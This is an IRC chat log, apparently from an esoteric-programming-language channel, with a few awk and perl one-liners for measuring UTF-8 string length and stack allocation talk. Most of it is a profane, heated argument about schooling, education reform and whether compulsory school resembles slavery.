LC_MONETARY="en_NZ.UTF-8" \ LC_MESSAGES="en_NZ.UTF-8" \ LC_PAPER="en_NZ.UTF-8" \ LC_NAME="en_NZ.UTF-8" \ LC_ADDRESS="en_NZ.UTF-8" \ LC_TELEPHONE="en_NZ.UTF-8" \ LC_MEASUREMENT="en_NZ.UTF-8" \ LC_IDENTIFICATION="en_NZ 22:29:25 -!- ^_^v has quit (Quit: This computer has gone to sleep). 22:29:33 -!- ^_^v has joined. 22:29:35  (echo 缩短; echo long) | awk 'print length;' 22:29:36 awk: line 1: syntax error at or near print 22:29:41  (echo 缩短; echo long) | awk '{print length;}' 22:29:42 6 \ 4 22:29:57 it's amazing that sort by length isn't a thing you can easily do 22:34:07 <\oren\>  (echo 缩短; echo long) | perl -ne 'print length _;' 22:34:08 75 22:34:15 <\oren\> WTF 22:34:24 <\oren\> oh, newlines 22:34:25 -!- ^_^v has quit (Client Quit). 22:34:33 <\oren\>  (echo 缩短; echo long) | perl -ne 'chomp;print length _;' 22:34:34 64 22:35:17 <\oren\>  (echo 缩短; echo long) | perl -ne 'use utf8;chomp;print length _;' 22:35:18 64 22:36:04 <\oren\>  (echo 缩短; echo long) | perl -Cne 'chomp;print length _;' 22:36:05 Unknown Unicode option letter 'n'. 22:36:12 <\oren\>  (echo 缩短; echo long) | perl -C -ne 'chomp;print length _;' 22:36:12 24 22:36:16 <\oren\> there 22:38:27 -!- hppavilion[1] has joined. 22:39:00 <\oren\> does awk have a unicode option 22:39:04 rdococ: ARM32 allows accessing the IP as r15; writing to it results in jumps 22:41:39 <\oren\> what if you increment it? 22:42:08 Jafet: To sort by length accurately you need to know what font you're using. 22:42:43 <\oren\> shachaf: or demand the user use a CJKwidth-correct font 22:43:02 Anyway sort-by-length operates on bytes, not characters. 22:43:50 unfortunately, people probably use different fonts 22:43:56 (and different terminals) 22:44:19 Terminals are unique up to isomorphism. 22:45:04 so are initials, apparently 22:45:29 I suppose that's why there is only one xinit and one xterm 22:45:56 <\oren\> cjkwidth-correct fonts at least guarantee that a cjk character is twice the width of a latin character. the standards are iffy on emoji, brahmic and arabic thoough 22:46:01 looking at my screen there are many xterms 22:46:13 But they're all xisomorphic. 22:46:48 adsf 22:47:05 <\oren\> gjhk 22:47:18 ugh 22:47:20 I need inspiration 22:47:31 You should take inspiration from int-e. 22:47:39 int-e, inspiration please 22:47:45 Waaaaaaah, I needed that. 22:48:11 I meant the thing where int-e talked about the kinds of things you say in this channel. 22:50:58 -!- contrapumpkin has joined. 22:55:12 ... 22:57:19 Has anyone ever written a book on how to be uncreative, I wonder. 22:57:37 contrapumpkin: yontrapumpkin 22:59:16 * rdococ sad 22:59:58 <\oren\> int-e: perhaps "Design Patterns"? 23:00:38 \oren\: oh that's better than the direction I was heading (something about accounting) 23:02:36 by the gang of forced analogies 23:03:11 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 23:03:19 Sorry for being uncreative. it's just that my creativity is sapped every day by something called school. 23:03:34 I try my best to fight it, but I guess I'm just meant to be an Average Joe. 23:04:10 <\oren\> rdococ: what kind of school? 23:04:50 A school purported to be for "special" kids, despite the fact that they're no different. 23:10:47 how is it sapping your creativity? 23:11:22 * Zarutian is genuinly curious to know what can be done better with education. 23:13:02 <\oren\> I was in the "gifted" program until I realized they were just giving us twice as much work and quit it 23:13:35 Zarutian, a lot. 23:13:53 Zarutian, I can tell you, what we have right now that passes for "education" in today's world, is horse manure. 23:14:20 oren: mostly busywork, yes? 23:14:22 I could be curing cancer with doodles, and the teacher would probably still tell me to do my work. 23:14:43 rdococ: you mean 'show your work' kind of work? 23:14:56 Whadya mean? 23:15:19 like in maths. You show every step of the way. 23:15:41 I dislike worksheets that tell me to "show my workings out" even more than I do regular worksheets. What if my mind performs it for me automatically in an efficient manner? Should I draw a picture of a brain? 23:16:15 or you talking about 'this homework which is impossibly boring and uses stuff that I havent covered yet is due tomorrow', kind of stuff? 23:16:48 Nah. I just plainly refuse and forget about any homework I receive, but I am worried for other students in other schools too. 23:17:54 <\oren\> I think they should increase career oriented focus in high school 23:18:12 I once got a math teacher two insisted on 'show my workings out', he quit it when he got back a worksheet from me that showed each microstep in excrusiating detail. 23:18:25 Lol :P 23:19:04 \oren\: perhaps this is a cultural misunderstanding, high school being ages 12-16 years? 23:19:59 But seriously, children are humans - just like adults, and they should be given choices. Many counters I've heard from staff are "What if you get a job and you're told to do something you don't want to do?" My response is always "You get paid for a job, and you signed up for it." Of course, they never respond to that, because they know I'm right. 23:20:02 elementary school here goes from 5 or 6 to 16 years. There is no high school here. 23:20:12 <\oren\> In Canada: grade 1-6 -> pirmary school, 7+8 : middle school. 9-12 :high school 23:20:16 I dislike worksheets that tell me to "show my workings out" even more than I do regular worksheets. What if my mind performs it for me automatically in an efficient manner? Should I draw a picture of a brain? 23:20:42 explaining your answers is at least as if not more important than producing correct answers 23:21:04 And why is that? 23:21:25 Also, it has nothing to do with the ratio of good education to horse manure in current "education". 23:21:32 because, in general, why would anyone believe the automatic processes of your brain 23:21:39 rdococ: my response to these kind of 'reasoning' by teachers is: sure I will do it but it better have utility, something that your busywork does not. 23:21:44 -!- boily has joined. 23:22:21 Zarutian: I have previously mentioned a variant of that. 23:22:25 s/mentioned/used 23:22:28 <\oren\> anyway, I think they need to start having streams toward different career categories starting at age 14 at the latest 23:22:59 Scrap that, school is a prison and it needs to be abolished if we want our species to have a future. 23:23:06 rdochelloc, he\\oren\, Zarutellon. 23:23:27 also, I knew quite a lot of people that did not leave the school building until the 'homework' was done. Why? Because work is at work and school stuff is no different. If you do not learn this early you will have life-work balance issues. 23:23:40 school needs to be revised, but kept. it is essential. 23:23:49 Essential to what? Horse manure? 23:24:04 boily: indeed. But there are pedalogics that defy logics 23:24:15 <\oren\> rdococ: essential to acquiring the skills to earn money 23:24:38 <\oren\> something which even universities aren't focused on these days 23:24:46 rdococ are you presently in school 23:24:51 <\oren\> that's the core of the problem 23:25:03 \oren\: Depends what you consider under the term "school". Would a learning environment that's not comparable to manure be considered school? 23:25:11 <\oren\> yes 23:25:23 Phantom_Hoover: Are you going to shun me when I reveal that I am presently in school, simply because I am a "student"? 23:25:24 never understood why univeristies and such are meant to be training camps for employers. 23:25:48 <\oren\> Zarutian: becasue they cost so much 23:25:59 Oh, and it's not just school I have a problem with. 23:26:25 <\oren\> if universities are not teaching how to earn money, then they are a waste of time and a waste of enormous aamounts of money 23:26:26 rdococ, well i mean school can be stressful and shitty for various reasons which can lead one to indulge in fantasies of radical educational reform 23:26:37 oren: the camps? or the univeristies? Srue the price has gone up but then the overhead has too afaisi. 23:26:44 s/can be/inevitably is 23:27:11 I have a problem with some of the most common parenting practices too. 23:27:34 i'm sure you do 23:27:44 talking about schools. The whole concept of grading is crappy but especially how USA implement it. 23:27:45 Time-outs for doing "naughty" things can fuck right off, because children act to achieve their urgent needs. 23:27:51 Urgent needs for love and care. 23:28:11 And it's the parent's fault if the child has to act "naughty" to get attention. 23:28:17 <\oren\> Phantom_Hoover: I advocate radical education reform and I became a fully-fledged adult with a well paying job more than a year ago 23:28:20 I have gone back with papers that just got an grade and nothing else from the teacher. 23:28:34 Well, they may be under a lot of stress; work could be to blame too. 23:28:50 <\oren\> however, the problem is that up until university, virtually nothing I was taught I actually use in my present job 23:28:53 \oren\, i have nothing against radical education reform in general but in this case it just reads as venting personal stress 23:29:23 i honestly find the idea that education should be whittled down to totally utilitarian job preparation to be completely abhorrent 23:29:36 oren: oh, you use what the British called the three Rs, every day do you not? (Reading, wRiting and aRithmatic) 23:29:51 What's wrong with venting personal stress? 23:30:09 <\oren\> I wasn't taught those in school. My parent's taught them to me before I entered kindergarten 23:30:11 Zarutian: Reading can often be learnt at home with these things you can get from shops and libraries called "books". 23:30:19 a common line in this vein is "school never taught me to file my taxes or write a monthly budget!" 23:30:52 <\oren\> Phantom_Hoover: well, why not? isn't that a useful thing that could be included? 23:31:12 Phantom_Hoover: nor did the schools even teach how to even get information about that kind of stuff. We Icelanders have an class for that kind of stuff, it is called 'Lífsleikni'. 23:31:46 well apparently it doesn't work! students just don't give a shit about being taught very specific procedures that they don't actually need to perform yet 23:32:01 Phantom_Hoover: Students don't give a shit about things they're forced into doing. 23:32:09 And no wonder. 23:32:26 jesus christ rdococ how much educational psychology research have you done 23:32:28 how much have you read 23:32:33 Phantom_Hoover: ? 23:32:42 and how much are you drawing your opinions from "they made me do this at school and it pissed me off" 23:32:53 ... 23:33:07 They force students to do a lot of things. Namely lessons many of them are probably not interested in. 23:33:08 <\oren\> rdococ: hence why I advocate having different streams starting at an early age. kids who like math can go into the math stream and not bother with essays for example 23:33:09 b/c my current evaluation is that all your strongly-proclaimed views on How Education Should Be Done derive entirely from the latter 23:33:31 Phantom_Hoover: My opinions are drawn from "CHILDREN ARE HUMANS". 23:33:41 Phantom_Hoover: to answer your question even though it was not aimed at me: I have done something strange, I have looked into the methadologies of some educational psychology research and frankly found it rather wanting. 23:34:00 s/found it/found them/ 23:34:13 rdococ, lol 23:34:38 i didn't realise that you had a total and infallible model of human nature worked out 23:34:48 ??? 23:34:59 What on earth are you talking about? 23:35:15 you apparently know exactly what should and shouldn't be done in education 23:35:22 solely on the basis of "CHILDREN ARE HUMANS" 23:35:46 oren: what I have found the most irritating about schooling is rote-memorization. 23:35:49 Phantom_Hoover: So you think treating children like actual humans - giving them the right of choice to what they want to learn about - is "exact"? 23:36:07 you've never been responsible for a child have you rdococ 23:36:07 <\oren\> there would be at the very least a generalized "Art Stream", "Humanities Stream", "Science Stream", divided starting in grade 5 23:36:18 Phantom_Hoover: You've never given a fuck about a child, have you? 23:36:29 you just are/were recently a child and have a chip on your shoulder about your treatment 23:37:01 Phantom_Hoover: is the converse the true about you? That you were child so long ago that you have forgotten? 23:37:02 Phantom_Hoover: Seriously? 23:37:13 rdococ, i've never been responsible for a child, no. which is why i don't go around shooting my mouth off about it on the internet like i know for sure how best to do it 23:37:30 this apparently is no obstacle to you 23:37:32 Phantom_Hoover: I have even deeper experience with children. I AM A CHILD. 23:37:46 well no shit welcome to the entire fucking human race 23:38:13 <\oren\> Phantom_Hoover: what do you think about the idea of dividing students into different career streams very early 23:38:36 Phantom_Hoover: Hm. Okay. Let me get this straight. You think I should have little to no say in how I should be treated, for what legitimate reason exactly? 23:38:48 oren: it is not the splitting up the curiculum or such that I deem to be the problem but the actual methods used to do teaching. 23:39:04 At the moment, it's hard not to call you an asshole for thinking I shouldn't be given freedoms. 23:39:15 i mean you are obviously entitled to a say but not to total dictatorial fiat over the matter 23:39:25 That's not what you sound like. 23:39:28 -!- sleffy has joined. 23:39:38 rdococ: Look, one source of your lack of creativity is probably that you simply disregard certain kinds of information as uninteresting. However, one key source of inspiration is to think about various things, and try to connect them. School may not be perfect but it can still function as a source of inspiration. You probably also do not appreciate (but that time will come) just how much free... 23:39:44 ...time you have, even with school taking a huge part out of that. Finally, this is hard to accept, but what you think is good for you and what will actually benefit you in the long term are not the same thing. 23:39:48 <\oren\> I think if students are being taught subjects they are interested in they will learn well even if teachers are quite incompetent 23:39:52 \oren\, sounds crazy tbqh 23:40:02 So you think shit like school is going to benefit me? 23:40:20 relcome sleffy 23:40:22 ​sleffy: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on EFnet or DALnet.) 23:40:22 Even if all I've actually learned is "my life is futile" or some shit like that? 23:40:24 rdococ: you could look at Phantom_Hoover as a demented geraric that should not be given as much freedom as he is old curmagedonly and does not know how to navigate the current world. Just as an thought exercise. 23:40:50 Phantom_Hoover is old? 23:40:53 Zarutian: You know, that's actually a very good idea. It would show him how I feel. 23:41:03 I'm not sure how I would go about it, though. 23:41:13 -!- xfix has quit (Ping timeout: 264 seconds). 23:41:18 fuck me we were the channel babies 6 years ago and already we're geriatrics 23:41:26 whoa, I get a relcome committee? 23:41:31 Phantom_Hoover: this is how your attitude to rdococ comes across here. 23:42:11 my attitude to rdococ is basically "i remember kind of feeling similarly in the past and i now think that i was pretty misguided" 23:42:17 <\oren\> Phantom_Hoover: why should we teach students to analyze shakespeare if they are destined to program, write proofs, or weld steel? 23:42:28 And it comes across as "You are pretty misguided because I think I was." 23:42:43 Well, Phantom_Hoover, you seem to be the misguided one here. 23:42:47 pretty much yeah. you sound pretty misguided 23:43:00 -!- AnotherTest has quit (Quit: ZNC - http://znc.in). 23:43:12 Phantom_Hoover: you remember feeling similarly in the past and now you think you were pretty misguided. What caused your change of heart? 23:43:17 i'm guessing you're mid teens? everyone in their mid teens thinks that they unquestionably know what's best for them and that the world is unfairly conspiring to keep them down 23:43:24 -_- 23:43:38 there is a programming language based on shakespeare 23:43:48 . o O ( they're half right anyway... :-P ) 23:43:50 <\oren\> t(-_-)t 23:44:03 . o O ( guess which half ;-) ) 23:44:05 Phantom_Hoover: oh, ya think this is purely gelgjuskapur? (closest but not quite acurate translation is teenage agnst) 23:44:07 \oren\, well do you think the purpose of school is solely to turn you into an effective worker 23:44:11 <\oren\> yes 23:44:23 as opposed to an effective member of society? 23:44:43 Jafet: yeah, but I do not recall its name. I could be something like "To Be or Not To Be, that is the buzzing question" 23:44:47 sleffy: we always welcome newcomers to this fine channel! (we being usually myself, trigger happy with the relcomes...) 23:44:48 -.- 23:44:49 <\oren\> to a first order approximation, an effective worker is an effective contributor to society 23:45:06 sleffy: have you already perused our magnific wiki? 23:45:15 Zarutian, well that's too patronising because obviously a lot of people do go through unfair shit in their teens 23:45:28 Phantom_Hoover: what is an effective member of society? Everyone I have ever asks only give answers that are insubstancial as fog when probed. 23:45:35 boily: did you see that shachaf rebelled against the eternal wisdom? 23:45:39 but when you're a teenager you tend to be really bad at evaluating that! 23:45:45 int-e: What! 23:45:49 boily, that's how I got here 23:46:01 ais523 is responsible. 23:46:23 Zarutian, idk. as far as shakespeare goes i think the ability to engage with and understand culture is valuable and we would be impoverished without it 23:46:27 int-ello! what you say! 23:46:28 actually, the language is just named Shakespeare 23:46:28 Specifically, my interest in entirely usable and practical programming languages with real-world applications 23:46:31 Phantom_Hoover: it is the patronising that seems to be what is comming from you. But then again often the 'it is too complex for you to understand' implict attitude does that. 23:46:39 Phantom_Hoover: Okay. Listen. You think you know what my life is like? Well, you don't. You've grown so old you don't remember how shit school was. But I do remember, because I am living in it. I don't give a fuck if it's "beneficial to me in the long term" (which it absolutely isn't), I'm sick of being treated like shit. 23:47:11 sleffy: computer science student? 23:47:12 look i'm not saying, at all, that whatever you're going through at school is for your own good so shut up and stop complaining 23:47:20 rdococ: do tell, perhaps we gain some insight why the schooling system is not working, at least not working for you? 23:47:31 boily, I guess I'm technically a student 23:47:48 I'm fresh out of high school, on a "gap year" which turned into getting bored enough to take classes at city college 23:47:55 <\oren\> I was a high school student only 6 years ago 23:47:58 what i am saying is that you shouldn't use your personal experiences to inform a total hatred of all formal education 23:48:09 I don't hate all formal education. 23:48:12 I hate all public schooling. 23:48:20 potato, potato 23:48:23 sleffy: heh :D 23:48:23 boily: http://sprunge.us/NgEP seems to be the relevant bit (for reference, it's now 00:48) 23:48:31 you shouldn't do that either 23:48:43 Okay. 23:48:48 Language design is a hobby, personal goal is a fairly ergonomic efficient and purely functional language which can run without a heap 23:48:56 Phantom_Hoover: do like I do, look if the experience is shared with lot of other people, then use that to inform the hatred of stultified education. 23:49:00 I hate all public schooling that requires you to "learn" about things you're not interested in. 23:49:05 int-e: dun dun dun! I can't remember when was the last time I updated it, tho... 23:49:32 Phantom_Hoover: The point is, the majority of what people think when they hear the word "school", is utter bullshit. 23:49:41 rdococ: and are not even remotely usefull? is that a good qualifier to add? 23:49:49 boily: just before christmas it seems 23:49:59 Zarutian: Agreed. 23:50:00 rdococ, hahaha do you not see how you're coming across here as an angry kid who thinks he knows better than everyone else 23:50:15 <\oren\> Phantom_Hoover: to you maybe, I quite sympathize 23:50:19 sleffy: running without a heap is quite difficult. you can try to cram everything on the stack, but then you're still stuck doing some memory shuffling by other means to achieve interesting stuff. 23:50:25 Phantom_Hoover: I don't think I know better than everyone else. But I do know better than everyone else about myself. 23:50:35 And, perhaps, other students too. 23:50:37 int-e: it's always before christmas. 23:50:46 I don't know what goes on in the brains of other people, and I don't admit to that. 23:50:53 boily: it's not always *just* before christmas though. 23:50:56 you objectively don't, humans are incredibly shitty at self-evaluating 23:50:58 boily, I'm okay with a sorta "holey" stack. That's a necessary sacrifice to make. For reference I'm looking at Rust's implementation which admits the same thing 23:50:58 But I do know many students seem to complain. 23:51:00 rdococ: even though said usefullness is only to kindle a bit of likeness to good asethetics. Like learning of the still life paintings of the old masters. 23:51:09 TBF Rust trusts the LLVM to optimize bits of that away 23:51:24 int-e: point. 23:51:46 And also, while I want it to be usable without a heap, I recognize that for many things a heap is borderline necessary, so I want to make heap operations available via a library 23:52:07 Phantom_Hoover: Imagine a thought experiment where you were prodded and poked with a hot iron, and then I said the same sort of things to you. How would you feel? Probably pretty upset. But that's just your objective shittiness to self-evaluation, correct? 23:52:08 * int-e ponders doing a quick s/shachaf/anonymous/g 23:52:10 putting everything on the stack would mean aligning your function call structure with your memory allocation patterns, right? 23:52:16 rdococ: what do those students complain mostly about? 23:52:55 rdococ, i'm not even going to engage with that because you are not in fact being prodded with a hot iron 23:53:09 <\oren\> basically, I was forced to learn about shakespere plays and other things that I wasn't interested in, do not use in my present job, and had no benefit I can percieve. 23:53:45 Phantom_Hoover: Really, I thought I was. The point is, humans might be shitty at self-evaluation, but they aren't shitty at realising when they're being treated like shit. 23:53:55 i absolutely hated doing shakespeare in school but 23:53:57 What if I said all this kind of stuff to slaves, back when slavery was accepted? 23:53:58 But what? 23:54:37 But now you're grateful because you can now torment the next generation on how they're so bad at self-evaluation? 23:54:39 later on in english we did some other texts which i found engaging and had things to say about 23:54:44 Phantom_Hoover, yeah, I guess so, if I understand exactly what you mean 23:54:45 So? 23:54:55 Phantom_Hoover: What does that have to do with shakespeare? 23:54:59 I assume you're referring to returning large structures which don't fit in a register? 23:55:09 rdococ: news for ya, most people are still bad at self-evaluation even after teenage years. 23:55:17 Phantom_Hoover: Maybe if they had started with the engaging texts, you'd be a writer. 23:55:25 * Zarutian considers himself below average driver for example. 23:55:55 and subsequently the ability to critically analyse works i read for entertainment has, i think, really enhanced my appreciation of them 23:55:58 Zarutian: Maybe that's what Phantom_Hoover is going through, then. He is re-evaluating his past at school, and his past-evaluation is shit - which I definitely agree is true. 23:56:13 Phantom_Hoover: Again, maybe if they had started with the engaging texts, you'd be a author. 23:56:14 it's kind of hard to make a minimalist stack language if you want it to be more powerful than push-down 23:56:40 Jafet: You could cheat and turn it into a tape by adding a command to move the top element to the bottom. 23:56:44 Jafet, no it isn't 23:57:26 <\oren\> rdococ: I have a more advanced theory: If I hadn't wasted so much time on useless stuff I could have entered university 2 years earlier, and by now been working fro 3 years. 23:57:27 efficient stack-only allocation basically just means that you malloc/free in FILO order 23:57:34 it's already hard to make a pure functional language that doesn't have pippenger's slowdown 23:57:44 well malloc isn't really minimalist 23:57:51 Phantom_Hoover: Do you think your two separate experiences of "doing Shakespeare" and "critically analysing works" somehow 'prove' that school is 'good' for you? Because they don't. 23:57:59 -!- DHeadshot has quit (Ping timeout: 260 seconds). 23:58:34 i think they proved to me that hating being in a class in school does not invalidate the entire value of teching that thing in school 23:58:36 -!- hppavilion[1] has joined. 23:58:52 It kind of does, if you're not interested in such a thing in the first place. 23:59:12 Either way, it definitely comes across to me that you are saying "whatever you're going through at school is for your own good so shut up and stop complaining" 23:59:33 <\oren\> basically, by not allowing children to specialize their education to the things they are good at, we are wasting literally YEARS of productivity for every individual 23:59:38 no, not at all. i am saying that please stop posting here saying that school is useless and terrible 23:59:44 Exactly, \oren\. 23:59:45 also you may mean fifo order, which is less delicious but more stack-like 2017-04-08: 00:00:06 fuck i was going to write fifo but then i was like 'that's the wrong one' 00:00:14 int-e: Where? 00:00:15 no it must be filo 00:00:25 Phantom_Hoover: Others seem to be participating in the topic - you seem to be bored of it. I guess I'll just get bored of the stories of people with cancer, or poverty, too. 00:00:28 <\oren\> our economy as a whole is then hindered, and billions of dollars are wasted 00:00:31 filo: push a b c d, pop d c b a 00:00:38 \oren\: Exactly! 00:00:50 i'm not bored, quite the opposite 00:01:00 fifo: push a b c d, pop a b c d 00:01:06 Phantom_Hoover: Then why do you want me to stop? 00:01:15 shachaf: in boily's wisdom repo 00:01:31 Phantom_Hoover: Because you are trying to invalidate my cries for help? 00:01:35 because i think you're being an arrogant prick who thinks he knows better than everyone else on the planet 00:01:47 Ah. 00:01:58 We both seem to think that each other is being said arrogant prick. 00:02:01 Wait, is MIDI really fixed to 128 instruments? 00:02:13 Except, what we are discussing is the education of people like me. 00:02:16 like, in the sense that there are 128 instruments it can use and no more?? 00:02:22 shachaf: which would not have any immediate effect and I rather suspect boily would just revert the change and revoke my commit access :P 00:02:25 you have my every sympathy in your cries for help but i suggest finding a way to express them that isn't "i know better than all these idiots who make up society" 00:02:33 We both seem to think that each other is being said arrogant prick. 00:02:35 Except, what we are discussing is the education of people like me. 00:02:54 i'm quite worried for your sake that you'll end up reading ayn rand or something 00:02:55 a large orchestra has fewer than 128 different instruments 00:02:58 rdococ: School isn't useless, but it would be better by allowing some specialization 00:03:02 "Ayn Rand"? 00:03:08 <\oren\> from the moment you find out, "well timmy is good at writing creatively, but not so good at long division and algebra" little timmy could be placed into a special "writing stream" where only the most vital mathematics is taught. 00:03:33 \oren\: The issue with that, of course, is that sometimes you figure it out later on, or you just get a bad teacher 00:03:45 \oren\, literally have you looked at any research that's been done on the effectiveness of aggressive streaming in education 00:03:45 <\oren\> rdococ: Ayn Rand is a writer who a lot of people hate. Read her books! 00:03:56 \oren\: Why do people hate her? 00:04:09 https://xkcd.com/1049/ <-- having read the books I fully agree 00:04:13 because she's the definition of arrogant, self-absorbed, antisocial selfishness 00:04:29 <\oren\> rdococ: and has "bad" political views 00:04:43 int-e, i would advance https://xkcd.com/610/ as the better xkcd take on rand 00:04:58 \oren\, fuck me are you an objectivist 00:05:11 <\oren\> Phantom_Hoover: No, I'm a TROLL 00:05:16 er... 00:05:39 Phantom_Hoover: hmm, perhaps too ambiguous without the image title 00:05:49 I'm sorry, how is "School is shit, it treats students like shit, it should be abolished" equal to "Be an asshole and troll to everyone! LOL!" 00:05:50 \oren\: Especially like, what if Timmy could be a great mathematics communicator, educating the dull masses about the wonderful and useful parts of mathematics (See: Douglass Hofstadter; Matt Parker; James Grimes; Mr. whoever wrote How Not To Be Wrong) that- if they teach you them in school *at all*- they wait until AP high school classes to even *mention* despite the simplicity of the basics (like Group Theory) 00:06:11 <\oren\> rdococ: so, If you want to learn ideas that will utterly infuriate people like Phantom_Hoover, read the book "Atlas Shrugged" by Ayn Rand! 00:06:42 rdococ, did you look at the comic i linked? 00:06:47 Phantom_Hoover, I did. 00:07:07 But, since you deny him anything more than the most basic mathematics (and he likes that!), he never gets to the good part and just internalizes that math is terrible because it's a chore that he does because he *must* and because he never has to *really* understand, so he never sees the good part 00:07:13 do you see why i get a sense of the same sentiments from what you've been saying here 00:07:19 Phantom_Hoover: hmm for some reason I had associated a stack with lifo order but not filo 00:07:42 I can sort of see where you're coming from, but where she goes "Everyone is stupid; be an asshole", I go "Everyone is stupid about this one particular thing; try to educate them". 00:07:53 Educate in the good way, not the school way. 00:08:03 rdococ: Yeah. 00:08:15 Because educating people in the school method about things would be equivalent to being an asshole, and a control freak to boot. 00:08:28 rdococ: The way schools teach mathematics is atrociously unmathematical 00:08:34 hppavilion[1]: Agreed. 00:08:35 rdococ, okay but what you seem to be missing out on is the part where 00:08:49 My precalculus teacher was literally impressed when I decided to prove the Change of Base Theorem 00:09:01 Phantom_Hoover: I believe I covered the "arrogant" part you keep going on about already. 00:09:05 "maybe everyone else isn't stupid, maybe i'm not the only person who happens to be right, maybe they have a case for their beliefs and it's more complicated than i think" 00:09:29 Hm. 00:09:30 (that is, if you're unsure, log_b(x) = log_k(x)/log_k(b) forall [usefully-defined] k) 00:09:33 "maybe i should try to make my voice heard but in doing so hear the voices of others" 00:09:38 <\oren\> rdococ: In general, I advocate reading about dangerous ideas. Read Atlas Shrugged. Read the book "Beyond Good and Evil" by Nietzsche. Read "Capital" by Karl Marx. 00:09:39 Okay. 00:10:02 So these voices of others are "Go to school, a place you find hell, because it'll probably be good for you in the future, idk because I don't remember. LOl!" 00:10:05 \oren\: Read Art of the Deal 00:10:21 And my voice is "Please kill me now, or free me from this terrifying dystopia." 00:10:24 <\oren\> hppavilion[1]: indeed, although it wasn't actually written by Trump 00:10:29 don't actually read atlas shrugged tho because it's the prose equivalent of that thing where you try to eat a packet of crackers without drinking any water" 00:10:35 \oren\: Yeah, that'd be one of the dangerous ideas. 00:10:52 Are you seriously expecting me to listen to voices that agree with my almost literal enslavement? 00:10:52 \oren\: Ah, Nietzsche 00:11:08 rdococ: It's not *that* close to literal 00:11:17 hppavilion[1]: It's not too far from literal, either. 00:11:27 rdococ, okay see this is what i'm talking about, when you are at the point where going to school is "almost literal enslavement" you have nobody to blame but yourself when people don't take you seriously 00:11:39 Das Kapital is mostly a rather weird and outdated theory of macroeconomics 00:11:46 Phantom_Hoover: I don't understand what you mean. 00:11:53 rdococ: I am not sure if you answered already. How is grading done in your school? Is it beurocratically arbritary and based on the whim of the teachers? 00:11:55 <\oren\> Phantom_Hoover: um. I don't actually see how he's wrong. 00:11:58 Is this another one of your rants where you try to explain away my feelings? 00:12:00 this again is a hallmark of randians 00:12:06 \oren\: OTOH, reading "Beyond Good and Evil" and "Capital" might be a bad idea because they were written by people that we don't like in a foreign language 00:12:13 I'm not selfish, either. 00:12:27 "paying my taxes is LITERALLY SLAVERY AND RAPE" 00:12:28 Jafet: so is most of Keynesian and think Mises stuff. 00:12:30 ... 00:12:42 \oren\: And since we don't plan to teach students fluent German *just* to read 2 books, they'll be reading a translation 00:12:55 Jafet: it is like many of them have not learned proberly about logistics or meta-logistics. 00:12:58 Phantom_Hoover: Okay, okay, wait, so you think I equate paying taxes to the fresh hell of school? 00:12:58 \oren\, i don't know what to say except 'read more about what slavery is' 00:13:16 <\oren\> Phantom_Hoover: being forced to do work without being paid 00:13:30 EXACTLY. 00:13:32 Phantom_Hoover: I do not know about you. But my taxes do not go to boondoggles like wars. 00:13:40 is doing community service as punishment for a crime LITERAL SLAVERY then 00:13:45 <\oren\> yes. 00:13:52 should it then be abolished 00:13:56 \oren\: Work that benefits others without benefiting you, involuntarily 00:14:13 rdococ: I mean, you are ~forced to do school work and not *directly* paid 00:14:15 Honestly, some of my stronger feelings are that all punishment should be abolished, but that's not the point of this conversation. 00:14:19 er, \oren\ 00:14:35 Phantom_Hoover: depends on the crime. Some crimes such as publicly urinating should result in public toilet cleaning and mantenance. 00:14:40 hppavilion[1]: I'm sorry, are you about to suggest that school indirectly benefits me? That's what Phantom_Hoover has been saying this whole time. 00:14:45 And since the translator was probably an American with the pre-internalized "COMMUNISM AND ATHEISM ARE BAD", regardless of whether it's true (the first may be, the second is not), so the translation is pretty bad. 00:14:50 Should this conversation be abolished? 00:14:57 imho yes 00:14:59 shachaf: yes? 00:15:04 shachaf, I don't know; does it include slavery? 00:15:05 * hppavilion[1] submits his vote 00:15:08 <\oren\> hppavilion[1]: there are translators who are communists 00:15:09 Oh, look, white smoke 00:15:12 my posting in this conversation is LITERAL SLAVERY 00:15:15 As in, not as a topic of conversation, but as an actual thing. 00:15:22 \oren\: Yeah, but we're not going to trust those dirty communists to educate their kids 00:15:29 Atheism may be bad. 00:15:30 Phantom_Hoover: Making that stupid joke is LITERALLY SLAVERY 00:15:36 shachaf: Probably not though. 00:15:42 I'm not sure. 00:15:47 Phantom_Hoover: You can opt out of this conversation whenever you want. At this point, you're just making shitty jokes. 00:15:53 No more than any other religion*. 00:15:57 In a very serious topic, too. 00:15:59 Shame on you. 00:16:00 it's true, i am compelled here by the MALIGNANT FORCE OF A TYRANNICAL SOCIETY to post in this conversation 00:16:17 I think this conversation should move to a different channel. 00:16:20 [*I mean, atheism isn't one, but it's still a value- the same way you can have 0 sheep] 00:16:21 Phantom_Hoover: Do you seriously fucking think that what I go through is equivalent to a joke? 00:16:23 I agree. 00:16:25 <\oren\> No personally I advocate exposing oneself to as many ideas that others hate as possible. 00:16:26 int-e: Or abolished entirely 00:16:35 How about #esoteric-blah? 00:16:39 int-e, the real tragedy of it is that we were actually talking about esolangs for a minute earlier 00:16:40 hppavilion[1]: I don't care about that, really 00:16:42 shachaf: I was going to suggest #esoteric-flame 00:16:46 and it was quite an interesting topic 00:17:13 Another tragedy is you don't give a fuck about children. 00:17:21 Phantom_Hoover: Making a computer contort to execute esolangs for you is LITERAL SLAVERY 00:17:24 Humanity's future, being treated like shit. 00:17:36 rdococ, for the nth time this isn't about what you're going through, it's about your decision to shitpost in #esoteric about it 00:17:53 shachaf: Is there a procedure for some sort of official channel vote, or..? 00:18:05 the procedure is finding someone with ops 00:18:12 Phantom_Hoover: Yeah, figured 00:18:14 Hm 00:18:16 hppavilion[1]: first the chair must clearly state the motion to be voted on 00:18:24 alercah: Ah, yes. 00:18:30 alercah: On a related note, are you a fan of Nomic? 00:18:31 ^ops 00:18:33 yes 00:18:36 :D 00:18:38 ops 00:18:39 ​/msg ChanServ access list #esoteric 00:18:41 though not enough time to play lately 00:18:47 Phantom_Hoover: This started because someone called me out on my lack of creativity. 00:19:01 I ran #xkcd-nomic on Foonetic for a while, but it deyed 00:19:16 I explained that school caused it, and now here we are, with someone on my side, an idiot who can't tell slavery from taxes, and some other people who just want to esolang. 00:19:42 I think we should stop already. I have two weeks off, and I shouldn't let this stupid school thing swallow my life. 00:20:07 Agreed? 00:20:12 fizzie: poke? 00:20:13 that is by far the wisest thing you've said tonight 00:20:26 wisdom 00:20:27 Or you're just going to criticise me again. 00:20:27 steprans//A 